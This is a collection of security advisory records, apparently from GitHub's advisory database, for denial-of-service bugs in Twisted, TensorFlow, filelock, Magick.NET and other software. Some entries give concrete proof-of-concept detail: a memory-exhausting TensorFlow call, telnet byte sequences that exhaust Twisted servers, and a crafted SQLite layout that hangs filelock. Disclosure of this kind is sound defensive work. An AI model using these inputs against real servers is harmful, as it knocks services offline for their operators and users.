"nvd_published_at": "2011-10-10T10:55:00Z",
"severity": "HIGH"
},
"details": "net/core/net_namespace.c in the Linux kernel 2.6.32 and earlier does not properly handle a high rate of creation and cleanup of network namespaces, which makes it easier for remote attackers to cause a denial of service (memory consumption) via requests to a daemon that requires a separate namespace per connection, as demonstrated by vsftpd.",
"id": "GHSA-cwc9-v946-jvqj",
"modified": "2025-04-11T03:51:26Z",
"published": "2022-05-13T01:08:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2189"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/ubuntu/+source/linux/+bug/720095"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=711134"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=711245"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=629373"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=2b035b39970740722598f7a9d548835f9bdd730f"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=f875bae065334907796da12523f9df85c89f5712"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=2b035b39970740722598f7a9d548835f9bdd730f"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=f875bae065334907796da12523f9df85c89f5712"
},
{
"type": "WEB",
"url": "http://ie.archive.ubuntu.com/linux/kernel/v2.6/ChangeLog-2.6.33"
},
{
"type": "WEB",
"url": "http://kerneltrap.org/mailarchive/git-commits-head/2009/12/8/15289"
},
{
"type": "WEB",
"url": "http://neil.brown.name/git?p=linux-2.6%3Ba=patch%3Bh=2b035b39970740722598f7a9d548835f9bdd730f"
},
{
"type": "WEB",
"url": "http://neil.brown.name/git?p=linux-2.6;a=patch;h=2b035b39970740722598f7a9d548835f9bdd730f"
},
{
"type": "WEB",
"url": "http://patchwork.ozlabs.org/patch/88217"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2011/dsa-2305"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2011/06/06/10"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2011/06/06/20"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-1288-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CWFW-4GQ5-MRQX
Vulnerability from github – Published: 2022-01-06 20:42 – Updated: 2025-11-26 16:25A vulnerability was found in Braces versions from v2.2.0 up to but not including v2.3.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. This has been patched in version 2.3.1.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "braces"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1109"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-31T21:35:00Z",
"nvd_published_at": "2021-03-30T02:15:00Z",
"severity": "LOW"
},
"details": "A vulnerability was found in Braces versions from v2.2.0 up to but not including v2.3.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. This has been patched in version 2.3.1.",
"id": "GHSA-cwfw-4gq5-mrqx",
"modified": "2025-11-26T16:25:50Z",
"published": "2022-01-06T20:42:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1109"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/braces/commit/abdafb0cae1e0c00f184abbadc692f4eaa98f451"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1547272"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/npm:braces:20180219"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Regular Expression Denial of Service (ReDoS) in braces"
}
GHSA-CWHF-V68J-G95X
Vulnerability from github – Published: 2026-10-21 00:33 – Updated: 2026-10-21 00:33Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-91435"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-20T22:20:46Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-cwhf-v68j-g95x",
"modified": "2026-10-21T00:33:30Z",
"published": "2026-10-21T00:33:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91435"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CWM5-JH59-MWXR
Vulnerability from github – Published: 2026-10-23 20:45 – Updated: 2026-10-23 20:45Summary
An allocation-without-limits vulnerability (CWE-770) in the Twisted conch telnet transport lets any unauthenticated remote peer exhaust server memory over a single connection. When the peer opens a telnet subnegotiation with IAC SB and then streams bytes without ever sending the IAC SE terminator, every byte is appended to a per-connection buffer that has no maximum length. The buffer persists across reads and is released only on the terminator the attacker withholds, so it grows without bound until the process is killed.
Details
The option-negotiation state machine in Telnet.dataReceived enters the subnegotiation state on IAC SB and sets an empty command list. In that state every non-IAC byte is appended to the list with no length check:
# src/twisted/conch/telnet.py (Telnet.dataReceived)
elif self.state == "subnegotiation":
if b == IAC:
self.state = "subnegotiation-escaped"
else:
self.commands.append(b) # unbounded: no len(self.commands) check
self.commands is an instance attribute that persists across dataReceived calls and is deleted only when IAC SE completes the subnegotiation. Negotiation runs at the transport layer before authentication, and the bytes are consumed inside dataReceived before any application callback, so an application cannot impose a bound. Twisted caps other parser buffers, for example NetstringReceiver.MAX_LENGTH, but not this one.
Affected product: Twisted, twisted.conch.telnet transport
Affected versions: confirmed against 26.4.0
PoC
On any endpoint that exposes the Twisted telnet transport, such as the Twisted manhole telnet service, open one connection and send the two bytes IAC SB (0xFF 0xFA), then stream any non-0xFF bytes continuously and never send the IAC SE terminator (0xFF 0xF0). No credentials are required, because option negotiation runs before authentication.
Every byte is appended to the per-connection subnegotiation buffer with no maximum, and the buffer is released only by the terminator the attacker withholds, so it grows for the life of the connection. Because each byte is retained as a separate element the memory consumed is several times the traffic sent, so a modest-bandwidth peer, or several such connections, drives the process to memory exhaustion.
Impact
This is an unauthenticated remote denial of service (CWE-770, CWE-400) by memory exhaustion. A single connection grows an in-memory buffer without bound at a cost proportional to the bytes sent, amplified by per-byte object overhead, until the operating system kills the server and every service it hosts. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that exposes a Twisted telnet or manhole transport to untrusted peers.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 26.4.0"
},
"package": {
"ecosystem": "PyPI",
"name": "Twisted"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.10.0rc1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-115778"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-23T20:45:26Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nAn allocation-without-limits vulnerability (CWE-770) in the Twisted conch telnet transport lets any unauthenticated remote peer exhaust server memory over a single connection. When the peer opens a telnet subnegotiation with `IAC SB` and then streams bytes without ever sending the `IAC SE` terminator, every byte is appended to a per-connection buffer that has no maximum length. The buffer persists across reads and is released only on the terminator the attacker withholds, so it grows without bound until the process is killed.\n\n## Details\n\nThe option-negotiation state machine in `Telnet.dataReceived` enters the `subnegotiation` state on `IAC SB` and sets an empty command list. In that state every non-`IAC` byte is appended to the list with no length check:\n\n```python\n# src/twisted/conch/telnet.py (Telnet.dataReceived)\nelif self.state == \"subnegotiation\":\n if b == IAC:\n self.state = \"subnegotiation-escaped\"\n else:\n self.commands.append(b) # unbounded: no len(self.commands) check\n```\n\n`self.commands` is an instance attribute that persists across `dataReceived` calls and is deleted only when `IAC SE` completes the subnegotiation. Negotiation runs at the transport layer before authentication, and the bytes are consumed inside `dataReceived` before any application callback, so an application cannot impose a bound. Twisted caps other parser buffers, for example `NetstringReceiver.MAX_LENGTH`, but not this one.\n\nAffected product: Twisted, `twisted.conch.telnet` transport\nAffected versions: confirmed against 26.4.0\n\n## PoC\n\nOn any endpoint that exposes the Twisted telnet transport, such as the Twisted manhole telnet service, open one connection and send the two bytes `IAC SB` (`0xFF 0xFA`), then stream any non-`0xFF` bytes continuously and never send the `IAC SE` terminator (`0xFF 0xF0`). No credentials are required, because option negotiation runs before authentication.\n\nEvery byte is appended to the per-connection subnegotiation buffer with no maximum, and the buffer is released only by the terminator the attacker withholds, so it grows for the life of the connection. Because each byte is retained as a separate element the memory consumed is several times the traffic sent, so a modest-bandwidth peer, or several such connections, drives the process to memory exhaustion.\n\n## Impact\n\nThis is an unauthenticated remote denial of service (CWE-770, CWE-400) by memory exhaustion. A single connection grows an in-memory buffer without bound at a cost proportional to the bytes sent, amplified by per-byte object overhead, until the operating system kills the server and every service it hosts. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that exposes a Twisted telnet or manhole transport to untrusted peers.",
"id": "GHSA-cwm5-jh59-mwxr",
"modified": "2026-10-23T20:45:26Z",
"published": "2026-10-23T20:45:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/security/advisories/GHSA-cwm5-jh59-mwxr"
},
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/pull/12750"
},
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/commit/073ba878c6c07d569cb61abc5ae76d46eff1b529"
},
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/commit/5d91cc66a3591faba758a80a1479e0103602facc"
},
{
"type": "PACKAGE",
"url": "https://github.com/twisted/twisted"
},
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/releases/tag/twisted-26.10.0rc1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Twisted: Unauthenticated Remote Denial of Service in the Twisted conch Telnet Transport via an Unbounded Subnegotiation Buffer"
}
GHSA-CWPJ-H54C-XJPX
Vulnerability from github – Published: 2026-05-18 17:53 – Updated: 2026-06-11 13:30Due to a missing check in the PSD decoder it would be possible to bypass the list-length resource policy when decoding a PSD image. Other security limits would still apply.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-HDRI-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q16-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-AnyCPU"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-OpenMP-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x64"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Magick.NET-Q8-x86"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "14.13.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45031"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T17:53:18Z",
"nvd_published_at": "2026-06-10T22:16:57Z",
"severity": "MODERATE"
},
"details": "Due to a missing check in the PSD decoder it would be possible to bypass the `list-length` resource policy when decoding a PSD image. Other security limits would still apply.",
"id": "GHSA-cwpj-h54c-xjpx",
"modified": "2026-06-11T13:30:36Z",
"published": "2026-05-18T17:53:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cwpj-h54c-xjpx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45031"
},
{
"type": "PACKAGE",
"url": "https://github.com/ImageMagick/ImageMagick"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "ImageMagick: Policy Bypass in PSD decoder"
}
GHSA-CWPM-F78V-7M5C
Vulnerability from github – Published: 2022-05-24 22:10 – Updated: 2022-05-24 22:10Impact
The implementation of tf.ragged.constant does not fully validate the input arguments. This results in a denial of service by consuming all available memory:
import tensorflow as tf
tf.ragged.constant(pylist=[],ragged_rank=8968073515812833920)
Patches
We have patched the issue in GitHub commit bd4d5583ff9c8df26d47a23e508208844297310e.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported externally via a GitHub issue.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-29202"
],
"database_specific": {
"cwe_ids": [
"CWE-1284",
"CWE-20",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-24T22:10:51Z",
"nvd_published_at": "2022-05-20T23:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe implementation of [`tf.ragged.constant`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/ops/ragged/ragged_factory_ops.py#L146-L239) does not fully validate the input arguments. This results in a denial of service by consuming all available memory:\n\n```python\nimport tensorflow as tf\ntf.ragged.constant(pylist=[],ragged_rank=8968073515812833920)\n```\n \n### Patches\nWe have patched the issue in GitHub commit [bd4d5583ff9c8df26d47a23e508208844297310e](https://github.com/tensorflow/tensorflow/commit/bd4d5583ff9c8df26d47a23e508208844297310e).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/55199).\n",
"id": "GHSA-cwpm-f78v-7m5c",
"modified": "2022-05-24T22:10:51Z",
"published": "2022-05-24T22:10:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cwpm-f78v-7m5c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29202"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/issues/55199"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/bd4d5583ff9c8df26d47a23e508208844297310e"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/ops/ragged/ragged_factory_ops.py#L146-L239"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of service in `tf.ragged.constant` due to lack of validation"
}
GHSA-CWQQ-W8C3-R2JW
Vulnerability from github – Published: 2019-08-23 00:04 – Updated: 2021-08-17 21:57MetadataExtractor 2.1.0 allows stack consumption.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.0"
},
"package": {
"ecosystem": "NuGet",
"name": "MetadataExtractor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-14262"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2019-08-22T15:04:25Z",
"nvd_published_at": "2019-07-25T05:15:00Z",
"severity": "HIGH"
},
"details": "MetadataExtractor 2.1.0 allows stack consumption.",
"id": "GHSA-cwqq-w8c3-r2jw",
"modified": "2021-08-17T21:57:17Z",
"published": "2019-08-23T00:04:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14262"
},
{
"type": "WEB",
"url": "https://github.com/drewnoakes/metadata-extractor-dotnet/pull/190"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r204ba2a9ea750f38d789d2bb429cc0925ad6133deea7cbc3001d96b5@%3Csolr-user.lucene.apache.org%3E"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncontrolled Resource Consumption in MetadataExtractor"
}
GHSA-CWQR-HH33-GH44
Vulnerability from github – Published: 2026-10-28 21:08 – Updated: 2026-10-28 21:08ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) run PRAGMA journal_mode=MEMORY on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the sqlite_master table, which lists every table and index with its CREATE text) of whatever file sits at the lock path. The caller's timeout reaches SQLite only as busy_timeout, which bounds waits for another connection's lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a ReadWriteLock's database path can therefore make every acquire_read / acquire_write of every process using that lock ignore its timeout and blocking=False. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write.
One 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0.
Anthropic's OSS Scanner reported this in private as ANT-2026-NFPRHMYJ [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout.
Severity
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H scores 5.5 (Medium). AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. AC:L (low attack complexity): the other user plants one file; no race. UI:N (no user interaction). A:H (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with timeout and blocking=False ignored and SIGINT not delivered, so only killing the process ends it. C:N and I:N (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. S:U (scope unchanged).
Classification from the external review: conditional security, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition.
Scope and preconditions
- The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (
0666), which is the setup a lock shared between accounts needs. In a1777directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is0666. - Sticky directories and kernel settings. In a sticky world-writable directory such as
/tmp, Linux withfs.protected_regular=2(a kernel setting) refuses the lock user'sO_CREATopen of a file owned by the other account withEACCES. A database owned by the other user does not work there. That does not cover a0666database owned by the lock user. The scanner did not test systems withfs.protected_regular=0(the kernel's own default). - Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there.
- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.
Affected code
At the scanned commit b831496b0273: _configure_and_begin runs PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY; on a fresh connection, and for a read lock SELECT name FROM sqlite_master LIMIT 1 at line 832. The code in _do_acquire_inner closes the previous connection and opens a new one on every acquire. The only content checks are _open_lock_database (regular file) and _raise_if_wal (20 header bytes).
Introduced
The acquire path dates from cfd4446 ("feat(lock): add SQLite-based ReadWriteLock (#399)", 2026-02-12), first released in 3.20.4 (verified: git tag --contains cfd4446 gives 3.20.4). Since #657 (3.30.0) the lock reopens the connection on every acquire, so the stall repeats on every acquire rather than once per instance.
Mechanism
PRAGMA journal_mode=MEMORY is the first statement that needs the schema. SQLite reads every row of sqlite_master and parses each row's sql text there. Run one at a time on the crafted file, PRAGMA busy_timeout returns at once and PRAGMA journal_mode=MEMORY takes the whole time. The read-mode SELECT needs the schema too. The caller's timeout reaches SQLite only as busy_timeout (lines 814 to 816 and 823 to 826), which limits how long SQLite waits for another connection's file lock. Loading the schema is not a wait, so nothing limits it. blocking=False and timeout=0 reach SQLite as busy_timeout=0 and stall the same way (2.4 s each with a 5-row file). acquire_write runs the same pragma. AsyncReadWriteLock.read_lock(timeout=1) stalls the same way (4.7 s with 10 rows; wrapping the acquire in asyncio.wait_for(..., 2) does not return earlier). A second acquire_read on the same instance stalls for as long as the first.
The constructor is not affected. Its validation connection (lines 484 and 485) runs no statement, so the lock user sees nothing until the first acquire. A stack dump taken 2 s into the stall shows the thread in _configure_and_begin at the executescript call. The lock accepts any SQLite file that is a regular file and not in WAL mode, whoever created it. Two layouts reach the load, at the same statement and with the same preconditions.
Long schema rows. Each sqlite_master row is ('table', 't0001', 't0001', 2, 'CREATE TABLE t0001(x) --AAAA…') with an sql text of 999,999,024 bytes, under SQLite's 1,000,000,000-byte limit. The file does not store the text. Each row's cell names page 2 as its first overflow page (a page that holds the part of a row too large for its own page), and the "next overflow page" field of page 2 names page 2 again. SQLite builds each row from the same 4 KB page, read about 244,000 times over. The header claims 244,142 pages, because SQLite rejects a record larger than page size times page count. The script extends the file to that length as a hole (unallocated space that reads as zeros), because SQLite also rejects a file shorter than its header claims. Eight rows fit in one 4 KB leaf page. The statements are valid CREATE TABLEs, so SQLite reports no error, and after the stall the acquire succeeds; it does not raise Timeout.
Measured with read_lock(timeout=1): 1 row, 12,288 bytes on disk, returns after 0.6 s; 10 rows, 16,384 bytes, 4.8 s; 50 rows, 36,864 bytes, 23 s. Peak RSS (resident set size, the memory the process holds) is 981 MB in every case, because memory stays at one row's worth; the cost is about 0.47 s per row. Under a 512 MiB address-space limit the same acquire raises MemoryError from line 816.
